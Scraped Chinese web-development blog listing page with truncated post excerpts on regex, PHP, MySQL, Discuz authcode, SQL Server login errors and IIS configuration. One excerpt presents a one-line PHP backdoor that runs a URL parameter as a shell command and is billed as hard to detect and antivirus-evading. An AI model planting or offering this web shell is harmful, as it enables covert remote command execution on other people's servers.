字符
描述
\
将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'\n' 匹配一个换行符。序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。
^
匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。
$
匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' ...
Warning: Use of undefined constant hot - assumed 'hot' (this will throw an Error in a future version of PHP) in /www/wwwroot/itzyr/www/wp-content/themes/Ality/inc/sticky-cat.php on line 5
使用php将某个目录下面的所有文件罗列出来的方法详解
$current_dir = 'E:/temp/';
$dir = opendir($current_dir);
echo "direcotry list:<ul>";
while(false !== ($file=readdir($dir))){
if($file != "." && $file != ".."){
 ...
简简单单13行代码自动生成英文别名
百度版
// 自动生成英文别名 - 百度版
function bymt_slug_auto_translate( $title ) {
$wp_http_get = wp_safe_remote_get( 'http://fanyi.baidu.com/v2transapi?from=zh&to=en&transtype=trans&query=' . $title );
if ( emptyempty( $wp_http_get->errors ) ) {
if ( ! emptyempty( $wp_http_get['body'] ) ) {
$trans_result = json_decode( $wp_http_ge...
不同操作系统下\r \r\n \t的区别
\n 软回车:
在Windows 中表示换行且回到下一行的最开始位置。相当于Mac OS 里的 \r 的效果。
在Linux、unix 中只表示换行,但不会回到下一行的开始位置。
\r 软空格:
在Linux、unix 中表示返回到当行的最开始位置。
在Mac OS 中表示换行且返回到下一行的最开始位置,相当于Windows 里的 \n 的效果。
\t 跳格(移至下一列)。
它们在双引号或定界符表示的字符串中有效,在单引号表示的字符串中无效。
\r\n...
PHP最简单的后门,且难查,不报毒!
第一段
<?php
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
!$_GET['c']||`{$_GET['c']}`;//精简
/*******************************************************
* 原理:PHP中``符号包含会当作系统命令执行
* 示例:http://host/?c=type%20confi...
Mysql自增主键ID调整|重新排序
Mysql数据库表的自增主键ID号乱了,需要重新排列。
原理:删除原有的自增ID,重新建立新的自增ID。
1,删除原有主键:
ALTER TABLE `table_name` DROP `id`;
2,添加新主键字段:
ALTER TABLE `table_name` ADD `id` MEDIUMINT( 8 ) NOT NULL FIRST;
3,设置新主键:
ALTER TABLE `table_name` MODIFY COLUMN `id` MEDIUMINT( 8 ) NOT NULL AUTO_INCREMENT,ADD PRIMARY KEY(id);
Discuz 加密解密函数 authcode
<?php
/**
* $string 明文或密文
* $operation 加密ENCODE或解密DECODE
* $key 密钥
* $expiry 密钥有效期
*/
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
// 取值越大,密...
PHP 判断变量是否为空 empty() 函数
关于 empty()
empty() 用于检查一个变量是否为空。如果变量是非空或非零的值,则 empty() 返回 FALSE。换句话说,""、0、"0"、NULL、FALSE、array()、var $var; 以及没有任何属性的对象都将被认为是空的,如果 var 为空,则返回 TRUE。
empty() 与 isset() 的一个简单比较。
<?php
$var = 0; // 结果为 true,因为 $var 为空
// 结果为 true,因为 $var =0
if (emptyempty($v...
sql2005用户sa登录失败,该用户与可信SQL Server连接无关联,错误18452
解决方案
用户 'sa' 登录失败。该用户与可信 SQL Server 连接无关联
问题一、忘记了登录Microsoft SQL Server 2005 的sa的登录密码
解决方法:先用windows身份验证的方式登录进去,然后在‘安全性’-‘登录’-右键单击‘sa’-‘属性’,修改密码(sa的密码不能太简单,最好要有数字,字母,下划线字符组成,且长度最好大于10个字符);点击确定就可以了。
问题二、已成功与服务器建立连接,但是在登录过程中发生错...
IIS6.0 .apsx无法找到该页 让IIS支持ASPX,添加Web服务扩展的方法
让IIS支持ASPX,添加Web服务扩展的方法
打开IIS,本地计算机,右击"默认网站"点"所有任务"再点"添加Web服务扩展",这样就有Web服务扩展了,有了这个,那该IIS也就支持aspnet了.
如果有了Web服务扩展还不支持aspnet的话,则,继续下面的方法:
一、先注册asp.net组件: (asp.NET 组件即:.Net Framework )
开始->运行->cmd->执行命令:
C:\windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regi...